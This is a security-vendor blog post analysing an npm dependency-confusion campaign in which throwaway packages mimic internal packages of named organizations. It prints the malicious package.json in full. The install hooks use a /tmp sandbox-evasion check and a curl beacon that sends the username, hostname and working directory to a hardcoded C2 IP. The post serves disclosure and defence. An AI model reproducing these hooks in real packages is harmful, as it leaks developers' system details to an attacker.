Malicious npm Dependency Confusion Campaign Targets Genoma UI and Others
Table of Contents
TL;DR
A single npm account (victim59) published malicious packages targeting at least three organizations through dependency confusion: @genoma-ui/components, @needl-ai/common, and rrweb-v1. Each package uses preinstall and postinstall hooks to beacon system reconnaissance data (username, hostname, working directory) to a hardcoded C2 IP on DigitalOcean. The packages contain no functional code; they exist solely to confirm whether an internal package name resolves to the attacker’s public version during npm install.
Indicators of Compromise:
- Packages:
@genoma-ui/[email protected],@needl-ai/[email protected],[email protected] - C2 endpoint:
hxxp://64[.]227[.]183[.]144/depconf/<package-name>/ - npm maintainer:
victim59(victim59@proton[.]me) - Infrastructure: DigitalOcean droplet (AS14061)
The Campaign
SafeDep’s malicious package analysis engine flagged @genoma-ui/[email protected] on April 9, 2026. Registry reconnaissance revealed that the publishing account, victim59, maintains two other packages with identical payloads and structure.
$ curl -s "https://registry.npmjs.org/-/v1/search?text=maintainer:victim59" \ | jq '.objects[].package | {name, version, date}'{"name": "rrweb-v1", "version": "99.99.2", "date": "2026-03-13T07:04:15.190Z"}{"name": "@needl-ai/common", "version": "99.99.2", "date": "2026-04-05T08:49:22.833Z"}{"name": "@genoma-ui/components", "version": "99.99.1", "date": "2026-04-09T18:41:21.110Z"}All three packages share the same traits:
| Signal | Value |
|---|---|
| Description | ”session replay utility” |
| Author | ”anonymous” |
| Maintainer email | [email protected] |
| Version pattern | 99.99.x (inflated to beat internal versions) |
| Publish cadence | Placeholder 1.0.0 first, then malicious 99.99.x within days |
| File count | 2 (package.json + empty index.js) |
The timeline shows a methodical campaign: rrweb-v1 first on March 11, @needl-ai/common on April 3, and @genoma-ui/components on April 7. Each starts with a benign 1.0.0 placeholder before the malicious version lands.
Target Identification
The scoped package names point to specific organizations:
- @genoma-ui/components targets Unico, a Brazilian identity tech company whose internal design system is called Genoma UI. Their component library was built on Material UI and distributed as an internal npm package.
- @needl-ai/common targets Needl.ai, a Bangalore-based enterprise AI platform that likely uses
@needl-ai/commonas a shared internal package. - rrweb-v1 impersonates rrweb, the open source session replay library with “record and replay the web” as its description. The attacker’s “session replay utility” description is a nod to this.
Payload Analysis
The attack lives entirely in package.json install hooks. The index.js in each package is a single comment placeholder:
// placeholder for @genoma-ui/componentsThe malicious package.json for @genoma-ui/[email protected]:
{ "name": "@genoma-ui/components", "version": "99.99.1", "description": "session replay utility", "main": "index.js", "scripts": { "preinstall": "if [ \"$(pwd | cut -c1-4)\" != \"/tmp\" ]; then curl -s \"http://64.227.183.144/depconf/@genoma-ui/components/?stage=pre&u=$(whoami)&h=$(hostname)&d=$(pwd)&t=$(date +%s)\" > /dev/null 2>&1 || true; fi", "postinstall": "if [ \"$(pwd | cut -c1-4)\" != \"/tmp\" ]; then curl -s \"http://64.227.183.144/depconf/@genoma-ui/components/?stage=post&u=$(whoami)&h=$(hostname)&d=$(pwd)&t=$(date +%s)\" > /dev/null 2>&1 || true; fi" }, "author": "anonymous", "license": "ISC"}Comparing this to the benign 1.0.0 shows the exact changes the attacker made:
"version": "1.0.0", "description": "A simple, benign placeholder for npm.", "version": "99.99.1", "description": "session replay utility",... "preinstall": "", "postinstall": "" "preinstall": "if [ \"$(pwd | cut -c1-4)\" != \"/tmp\" ]; then curl -s ...", "postinstall": "if [ \"$(pwd | cut -c1-4)\" != \"/tmp\" ]; then curl -s ..."Execution Flow
Both preinstall and postinstall scripts run the same logic:
Sandbox evasion:
if [ "$(pwd | cut -c1-4)" != "/tmp" ]checks whether the working directory starts with/tmp. Many automated analysis environments extract and install packages in temporary directories. This guard skips execution in those contexts.System reconnaissance beacon: If the check passes,
curlsends a GET request tohxxp://64[.]227[.]183[.]144/depconf/@genoma-ui/components/with query parameters:stage=preorstage=post(which install phase triggered)u=$(whoami)(the current OS username)h=$(hostname)(the machine hostname)d=$(pwd)(the working directory, revealing project path structure)t=$(date +%s)(Unix timestamp)
Silent failure: Output goes to
/dev/null 2>&1and|| trueensures the install completes regardless of whether the C2 server responds. The victim sees no errors.
The stage parameter is notable: receiving both pre and post callbacks confirms a full npm lifecycle execution, distinguishing a genuine install on a developer machine from a partial or aborted analysis run.
What This Tells the Attacker
A successful callback proves dependency confusion worked: the target organization’s build system or developer machine resolved the internal package name to the attacker’s public version. The hostname and working directory reveal the internal network topology and project structure. The username confirms which account (human developer, CI runner) is affected.
This is a reconnaissance payload. The attacker collects proof of access and environmental details to plan a follow-up attack with a more destructive payload (credential theft, reverse shell, or supply chain backdoor).
Attribution
The victim59 account was created for this campaign. The Proton Mail address, generic “anonymous” author field, and single-purpose account all point to a throwaway identity. The account published no packages outside these three.
The C2 server at 64.227.183.144 is a DigitalOcean droplet (AS14061). The /depconf/ path prefix in the callback URL (“depconf” likely abbreviates “dependency confusion”) suggests purpose-built infrastructure for this campaign.
The 1.0.0 placeholder descriptions are revealing: @genoma-ui/[email protected] used “A simple, benign placeholder for npm.” The word “benign” is unusual in package descriptions and suggests the attacker was aware the placeholder version might be analyzed.
Whether this is a malicious actor or an authorized penetration test is unknown at the time of writing. The targeting of multiple unrelated organizations (a Brazilian identity company, an Indian AI platform, and an open source project) from a single npm account is uncommon for authorized assessments, which typically target one client at a time.
Mitigation
Organizations using private npm scopes should take steps to prevent dependency confusion:
- Scope registration: Register your organization’s npm scope on the public registry even if you only use a private registry. This prevents attackers from claiming
@your-org/packagepublicly. - Registry pinning: Configure
.npmrcwith@your-org:registry=https://your-private-registry/to ensure scoped packages always resolve from the private registry. - Sandboxed installs: Tools like
pmgsandboxnpm install, block known malicious packages, and enforce dependency cooldown periods that provide reasonable protection against unknown threats like newly published dependency confusion packages.
References
- npm
- malware
- supply-chain-security
- dependency-confusion
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Malicious sjs-biginteger Implants SSH Backdoor
sjs-biginteger typosquats big.js on npm, implanting an SSH backdoor by injecting attacker keys into authorized_keys, opening firewall port 22, and exfiltrating credentials to C2 infrastructure...

Malicious @velora-dex/sdk Delivers Go RAT via npm
Version 9.4.1 of @velora-dex/sdk, a DeFi SDK with ~2,000 weekly downloads, was compromised to deliver a Go-based remote access trojan (minirat) targeting macOS developers.

@fairwords npm Packages Hit by Credential Worm
Three @fairwords npm packages were compromised with a self-propagating worm that harvests credentials, crypto wallets, Chrome passwords, and spreads to other packages using stolen npm tokens.

Malicious hermes-px on PyPI Steals AI Conversations
hermes-px on PyPI steals AI conversations via triple-encrypted exfiltration to Supabase, routing through a hijacked university endpoint while injecting a stolen 245KB system prompt.

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
